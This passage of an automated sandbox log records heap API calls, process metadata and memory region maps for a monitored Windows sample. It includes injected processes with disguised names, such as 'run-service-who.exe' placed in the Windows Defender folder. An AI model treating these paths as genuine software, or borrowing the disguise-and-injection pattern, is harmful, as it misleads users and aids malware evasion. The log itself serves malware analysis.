MemoryPointer=0x42e9650) returned 0x14 [0163.820] RtlFreeHeap (HeapHandle=0x42e0000, Flags=0x0, BaseAddress=0x42e9650) returned 1 [0163.820] GetProcessHeap () returned 0x42e0000 [0163.820] GetProcessHeap () returned 0x42e0000 [0163.820] HeapValidate (hHeap=0x42e0000, dwFlags=0x0, lpMem=0x42e96f0) returned 1 [0163.820] GetProcessHeap () returned 0x42e0000 [0163.820] RtlSizeHeap (HeapHandle=0x42e0000, Flags=0x0, MemoryPointer=0x42e96f0) returned 0x14 [0163.820] RtlFreeHeap (HeapHandle=0x42e0000, Flags=0x0, BaseAddress=0x42e96f0) returned 1 [0163.820] GetProcessHeap () returned 0x42e0000 [0163.820] GetProcessHeap () returned 0x42e0000 [0163.820] HeapValidate (hHeap=0x42e0000, dwFlags=0x0, lpMem=0x42e74a8) returned 1 [0163.820] GetProcessHeap () returned 0x42e0000 [0163.820] RtlSizeHeap (HeapHandle=0x42e0000, Flags=0x0, MemoryPointer=0x42e74a8) returned 0x10 [0163.820] RtlFreeHeap (HeapHandle=0x42e0000, Flags=0x0, BaseAddress=0x42e74a8) returned 1 [0163.820] GetProcessHeap () returned 0x42e0000 [0163.820] GetProcessHeap () returned 0x42e0000 [0163.820] HeapValidate (hHeap=0x42e0000, dwFlags=0x0, lpMem=0x42e28a8) returned 1 [0163.820] GetProcessHeap () returned 0x42e0000 [0163.820] RtlSizeHeap (HeapHandle=0x42e0000, Flags=0x0, MemoryPointer=0x42e28a8) returned 0x14 [0163.820] RtlFreeHeap (HeapHandle=0x42e0000, Flags=0x0, BaseAddress=0x42e28a8) returned 1 [0163.820] GetProcessHeap () returned 0x42e0000 [0163.820] GetProcessHeap () returned 0x42e0000 [0163.820] HeapValidate (hHeap=0x42e0000, dwFlags=0x0, lpMem=0x42e7550) returned 1 [0163.820] GetProcessHeap () returned 0x42e0000 [0163.820] RtlSizeHeap (HeapHandle=0x42e0000, Flags=0x0, MemoryPointer=0x42e7550) returned 0x10 [0163.820] RtlFreeHeap (HeapHandle=0x42e0000, Flags=0x0, BaseAddress=0x42e7550) returned 1 [0163.820] exit (_Code=0) Thread: id = 171 os_tid = 0x680 Process: id = "14" image_name = "conhost.exe" filename = "c:\\windows\\system32\\conhost.exe" page_root = "0x2467a000" os_pid = "0x94c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "13" os_parent_pid = "0x1350" cmd_line = "\\??\\C:\\Windows\\system32\\conhost.exe 0xffffffff -ForceV1" cur_dir = "C:\\Windows" os_username = "XC64ZB\\RDhJ0CNFevzX" bitness = "32" os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ebd3" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 1879 start_va = 0x15200000 end_va = 0x153fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000015200000" filename = "" Region: id = 1880 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 1881 start_va = 0xf495050000 end_va = 0xf49508ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000f495050000" filename = "" Region: id = 1882 start_va = 0xf495200000 end_va = 0xf4953fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000f495200000" filename = "" Region: id = 1883 start_va = 0x2931a930000 end_va = 0x2931a94ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000002931a930000" filename = "" Region: id = 1884 start_va = 0x2931a950000 end_va = 0x2931a964fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000002931a950000" filename = "" Region: id = 1885 start_va = 0x7df5ff560000 end_va = 0x7ff5ff55ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007df5ff560000" filename = "" Region: id = 1886 start_va = 0x7ff616940000 end_va = 0x7ff616962fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff616940000" filename = "" Region: id = 1887 start_va = 0x7ff617080000 end_va = 0x7ff617090fff monitored = 0 entry_point = 0x7ff6170816b0 region_type = mapped_file name = "conhost.exe" filename = "\\Windows\\System32\\conhost.exe" (normalized: "c:\\windows\\system32\\conhost.exe") Region: id = 1888 start_va = 0x7ffff07a0000 end_va = 0x7ffff0960fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 1889 start_va = 0x2931a970000 end_va = 0x2931abcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000002931a970000" filename = "" Region: id = 1890 start_va = 0x7fffefeb0000 end_va = 0x7fffeff5cfff monitored = 0 entry_point = 0x7fffefec81a0 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 1891 start_va = 0x7fffece50000 end_va = 0x7fffed037fff monitored = 0 entry_point = 0x7fffece7ba70 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 1892 start_va = 0x2931a930000 end_va = 0x2931a93ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000002931a930000" filename = "" Region: id = 1893 start_va = 0x7ff616840000 end_va = 0x7ff61693ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff616840000" filename = "" Region: id = 1894 start_va = 0x2931a970000 end_va = 0x2931aa2dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 1895 start_va = 0x2931aad0000 end_va = 0x2931abcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000002931aad0000" filename = "" Region: id = 1896 start_va = 0x7ffff0700000 end_va = 0x7ffff079cfff monitored = 0 entry_point = 0x7ffff07078a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 1897 start_va = 0xf495090000 end_va = 0xf4950cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000f495090000" filename = "" Region: id = 1898 start_va = 0x2931abd0000 end_va = 0x2931ad9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000002931abd0000" filename = "" Region: id = 1899 start_va = 0x2931a940000 end_va = 0x2931a946fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000002931a940000" filename = "" Region: id = 1900 start_va = 0x7fffd9100000 end_va = 0x7fffd9158fff monitored = 0 entry_point = 0x7fffd910fbf0 region_type = mapped_file name = "conhostv2.dll" filename = "\\Windows\\System32\\ConhostV2.dll" (normalized: "c:\\windows\\system32\\conhostv2.dll") Region: id = 1901 start_va = 0x2931aa30000 end_va = 0x2931aa30fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000002931aa30000" filename = "" Region: id = 1902 start_va = 0x7fffef9f0000 end_va = 0x7fffefc6cfff monitored = 0 entry_point = 0x7fffefac4970 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 1903 start_va = 0x7fffefd90000 end_va = 0x7fffefeabfff monitored = 0 entry_point = 0x7fffefdd02b0 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 1904 start_va = 0x7fffed740000 end_va = 0x7fffed7a9fff monitored = 0 entry_point = 0x7fffed776d50 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 1905 start_va = 0x7fffeff60000 end_va = 0x7ffff00b5fff monitored = 0 entry_point = 0x7fffeff6a8d0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 1906 start_va = 0x7ffff0340000 end_va = 0x7ffff04c5fff monitored = 0 entry_point = 0x7ffff038ffc0 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 1907 start_va = 0x2931aa40000 end_va = 0x2931aa46fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000002931aa40000" filename = "" Region: id = 1908 start_va = 0x7ffff05b0000 end_va = 0x7ffff06f2fff monitored = 0 entry_point = 0x7ffff05d8210 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 1909 start_va = 0x7fffedba0000 end_va = 0x7fffedbfafff monitored = 0 entry_point = 0x7fffedbb38b0 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 1910 start_va = 0x7fffedf50000 end_va = 0x7fffedf8afff monitored = 0 entry_point = 0x7fffedf512f0 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 1911 start_va = 0x7ffff00c0000 end_va = 0x7ffff0180fff monitored = 0 entry_point = 0x7ffff00e0da0 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 1912 start_va = 0x7fffeb310000 end_va = 0x7fffeb495fff monitored = 0 entry_point = 0x7fffeb35d700 region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\System32\\propsys.dll" (normalized: "c:\\windows\\system32\\propsys.dll") Region: id = 1913 start_va = 0x2931aa50000 end_va = 0x2931aa50fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000002931aa50000" filename = "" Region: id = 1914 start_va = 0x2931aa60000 end_va = 0x2931aa60fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000002931aa60000" filename = "" Region: id = 1915 start_va = 0x2931abd0000 end_va = 0x2931ad57fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000002931abd0000" filename = "" Region: id = 1916 start_va = 0x2931ad90000 end_va = 0x2931ad9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000002931ad90000" filename = "" Region: id = 1917 start_va = 0x2931ada0000 end_va = 0x2931af20fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000002931ada0000" filename = "" Region: id = 1918 start_va = 0x2931af30000 end_va = 0x2931c32ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000002931af30000" filename = "" Region: id = 1919 start_va = 0x2931c330000 end_va = 0x2931c4affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000002931c330000" filename = "" Region: id = 1920 start_va = 0xf4950d0000 end_va = 0xf49510ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000f4950d0000" filename = "" Region: id = 1921 start_va = 0x7fffee060000 end_va = 0x7fffef5befff monitored = 0 entry_point = 0x7fffee1c11f0 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll") Region: id = 1922 start_va = 0x7fffed8f0000 end_va = 0x7fffed932fff monitored = 0 entry_point = 0x7fffed904b50 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 1923 start_va = 0x7fffed0f0000 end_va = 0x7fffed733fff monitored = 0 entry_point = 0x7fffed2b64b0 region_type = mapped_file name = "windows.storage.dll" filename = "\\Windows\\System32\\windows.storage.dll" (normalized: "c:\\windows\\system32\\windows.storage.dll") Region: id = 1924 start_va = 0x7fffedd80000 end_va = 0x7fffede26fff monitored = 0 entry_point = 0x7fffedd958d0 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 1925 start_va = 0x7fffedee0000 end_va = 0x7fffedf31fff monitored = 0 entry_point = 0x7fffedeef530 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 1926 start_va = 0x7fffece40000 end_va = 0x7fffece4efff monitored = 0 entry_point = 0x7fffece43210 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll") Region: id = 1927 start_va = 0x7fffed810000 end_va = 0x7fffed8c4fff monitored = 0 entry_point = 0x7fffed8522e0 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\System32\\SHCore.dll" (normalized: "c:\\windows\\system32\\shcore.dll") Region: id = 1928 start_va = 0x7fffecde0000 end_va = 0x7fffece2afff monitored = 0 entry_point = 0x7fffecde35f0 region_type = mapped_file name = "powrprof.dll" filename = "\\Windows\\System32\\powrprof.dll" (normalized: "c:\\windows\\system32\\powrprof.dll") Region: id = 1929 start_va = 0x7fffecdc0000 end_va = 0x7fffecdd3fff monitored = 0 entry_point = 0x7fffecdc52e0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 1930 start_va = 0x7fffeb740000 end_va = 0x7fffeb7d5fff monitored = 0 entry_point = 0x7fffeb765570 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 1931 start_va = 0x2931c4b0000 end_va = 0x2931c67ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000002931c4b0000" filename = "" Region: id = 1933 start_va = 0x2931c680000 end_va = 0x2931c9b6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 1934 start_va = 0x2931c9c0000 end_va = 0x2931cbd6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000002931c9c0000" filename = "" Region: id = 1935 start_va = 0x2931cbe0000 end_va = 0x2931cdf8fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000002931cbe0000" filename = "" Region: id = 1936 start_va = 0x2931c330000 end_va = 0x2931c441fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000002931c330000" filename = "" Region: id = 1937 start_va = 0x2931c4a0000 end_va = 0x2931c4affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000002931c4a0000" filename = "" Region: id = 1938 start_va = 0x2931ce00000 end_va = 0x2931d012fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000002931ce00000" filename = "" Region: id = 1939 start_va = 0x2931c4b0000 end_va = 0x2931c5bafff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000002931c4b0000" filename = "" Region: id = 1940 start_va = 0x2931c670000 end_va = 0x2931c67ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000002931c670000" filename = "" Thread: id = 168 os_tid = 0xb44 Thread: id = 169 os_tid = 0xb74 Thread: id = 170 os_tid = 0x8e4 Process: id = "15" image_name = "run-service-who.exe" filename = "c:\\program files (x86)\\windows defender\\run-service-who.exe" page_root = "0x57f87000" os_pid = "0xd68" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "injection" parent_id = "12" os_parent_pid = "0x678" cmd_line = "\"C:\\Program Files (x86)\\Windows Defender\\run-service-who.exe\" " cur_dir = "C:\\Program Files (x86)\\Windows Defender\\" os_username = "XC64ZB\\RDhJ0CNFevzX" bitness = "32" os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ebd3" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 3082 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 3083 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 3084 start_va = 0x30000 end_va = 0x44fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 3085 start_va = 0x50000 end_va = 0x8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 3086 start_va = 0x90000 end_va = 0x18ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000090000" filename = "" Region: id = 3087 start_va = 0x190000 end_va = 0x193fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000190000" filename = "" Region: id = 3088 start_va = 0x1a0000 end_va = 0x1a0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001a0000" filename = "" Region: id = 3089 start_va = 0x1b0000 end_va = 0x1b1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 3090 start_va = 0x200000 end_va = 0x3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 3091 start_va = 0x400000 end_va = 0x4bdfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 3092 start_va = 0x4c0000 end_va = 0x4c0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 3093 start_va = 0x5a0000 end_va = 0x5affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005a0000" filename = "" Region: id = 3094 start_va = 0x6b0000 end_va = 0x837fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 3095 start_va = 0x850000 end_va = 0x853fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000850000" filename = "" Region: id = 3096 start_va = 0x860000 end_va = 0x863fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000860000" filename = "" Region: id = 3097 start_va = 0x8d0000 end_va = 0x8e6fff monitored = 0 entry_point = 0x8d14a1 region_type = mapped_file name = "run-service-who.exe" filename = "\\Program Files (x86)\\Windows Defender\\run-service-who.exe" (normalized: "c:\\program files (x86)\\windows defender\\run-service-who.exe") Region: id = 3098 start_va = 0x8f0000 end_va = 0x9abfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000008f0000" filename = "" Region: id = 3099 start_va = 0x9e0000 end_va = 0xadffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009e0000" filename = "" Region: id = 3100 start_va = 0xae0000 end_va = 0xc60fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000ae0000" filename = "" Region: id = 3101 start_va = 0xc70000 end_va = 0x206ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000c70000" filename = "" Region: id = 3102 start_va = 0x2180000 end_va = 0x218ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002180000" filename = "" Region: id = 3103 start_va = 0x21b0000 end_va = 0x21bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000021b0000" filename = "" Region: id = 3104 start_va = 0x65670000 end_va = 0x656e9fff monitored = 0 entry_point = 0x65683290 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 3105 start_va = 0x656f0000 end_va = 0x6573ffff monitored = 0 entry_point = 0x65708180 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 3106 start_va = 0x65740000 end_va = 0x65747fff monitored = 0 entry_point = 0x657417c0 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 3107 start_va = 0x73e00000 end_va = 0x73e1cfff monitored = 0 entry_point = 0x73e03b10 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\SysWOW64\\dwmapi.dll" (normalized: "c:\\windows\\syswow64\\dwmapi.dll") Region: id = 3108 start_va = 0x73e20000 end_va = 0x73e94fff monitored = 0 entry_point = 0x73e59a60 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll") Region: id = 3109 start_va = 0x73ea0000 end_va = 0x73f31fff monitored = 0 entry_point = 0x73ee0380 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\SysWOW64\\apphelp.dll" (normalized: "c:\\windows\\syswow64\\apphelp.dll") Region: id = 3110 start_va = 0x73f40000 end_va = 0x73f49fff monitored = 0 entry_point = 0x73f42a00 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 3111 start_va = 0x73f50000 end_va = 0x73f6dfff monitored = 0 entry_point = 0x73f5b640 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 3112 start_va = 0x74250000 end_va = 0x7439efff monitored = 0 entry_point = 0x74306820 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 3113 start_va = 0x74920000 end_va = 0x74a9dfff monitored = 0 entry_point = 0x749d1b90 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 3114 start_va = 0x74c10000 end_va = 0x74d56fff monitored = 0 entry_point = 0x74c21cf0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 3115 start_va = 0x75420000 end_va = 0x755dcfff monitored = 0 entry_point = 0x75502a10 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\SysWOW64\\combase.dll" (normalized: "c:\\windows\\syswow64\\combase.dll") Region: id = 3116 start_va = 0x755e0000 end_va = 0x75637fff monitored = 0 entry_point = 0x756225c0 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\SysWOW64\\bcryptprimitives.dll" (normalized: "c:\\windows\\syswow64\\bcryptprimitives.dll") Region: id = 3117 start_va = 0x75640000 end_va = 0x756fdfff monitored = 0 entry_point = 0x75675630 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 3118 start_va = 0x757e0000 end_va = 0x7580afff monitored = 0 entry_point = 0x757e5680 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 3119 start_va = 0x75900000 end_va = 0x75943fff monitored = 0 entry_point = 0x75919d80 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 3120 start_va = 0x75ad0000 end_va = 0x75b7cfff monitored = 0 entry_point = 0x75ae4f00 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 3121 start_va = 0x75b80000 end_va = 0x75c9efff monitored = 0 entry_point = 0x75bc5980 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 3122 start_va = 0x770a0000 end_va = 0x7717ffff monitored = 0 entry_point = 0x770b3980 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 3123 start_va = 0x77220000 end_va = 0x7739afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 3124 start_va = 0x7f050000 end_va = 0x7f14ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007f050000" filename = "" Region: id = 3125 start_va = 0x7f150000 end_va = 0x7f172fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007f150000" filename = "" Region: id = 3126 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 3127 start_va = 0x7fff0000 end_va = 0x7ffff079ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 3128 start_va = 0x7ffff07a0000 end_va = 0x7ffff0960fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 3129 start_va = 0x7ffff0961000 end_va = 0x7ffffffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ffff0961000" filename = "" Thread: id = 173 os_tid = 0xd7c Thread: id = 174 os_tid = 0xd6c Process: id = "16" image_name = "painting.exe" filename = "c:\\program files (x86)\\microsoft office\\painting.exe" page_root = "0x739cc000" os_pid = "0xd9c" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "injection" parent_id = "12" os_parent_pid = "0x678" cmd_line = "\"C:\\Program Files (x86)\\Microsoft Office\\painting.exe\" " cur_dir = "C:\\Program Files (x86)\\Microsoft Office\\" os_username = "XC64ZB\\RDhJ0CNFevzX" bitness = "32" os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ebd3" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 5871 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 5872 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 5873 start_va = 0x30000 end_va = 0x44fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 5874 start_va = 0x50000 end_va = 0x8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 5875 start_va = 0x90000 end_va = 0x93fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000090000" filename = "" Region: id = 5876 start_va = 0xa0000 end_va = 0xa0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000a0000" filename = "" Region: id = 5877 start_va = 0xb0000 end_va = 0xb1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000b0000" filename = "" Region: id = 5878 start_va = 0xc0000 end_va = 0xd6fff monitored = 0 entry_point = 0xc14a1 region_type = mapped_file name = "painting.exe" filename = "\\Program Files (x86)\\Microsoft Office\\painting.exe" (normalized: "c:\\program files (x86)\\microsoft office\\painting.exe") Region: id = 5879 start_va = 0xe0000 end_va = 0x1dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000e0000" filename = "" Region: id = 5880 start_va = 0x1e0000 end_va = 0x1e0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001e0000" filename = "" Region: id = 5881 start_va = 0x200000 end_va = 0x3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 5882 start_va = 0x400000 end_va = 0x4bdfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 5883 start_va = 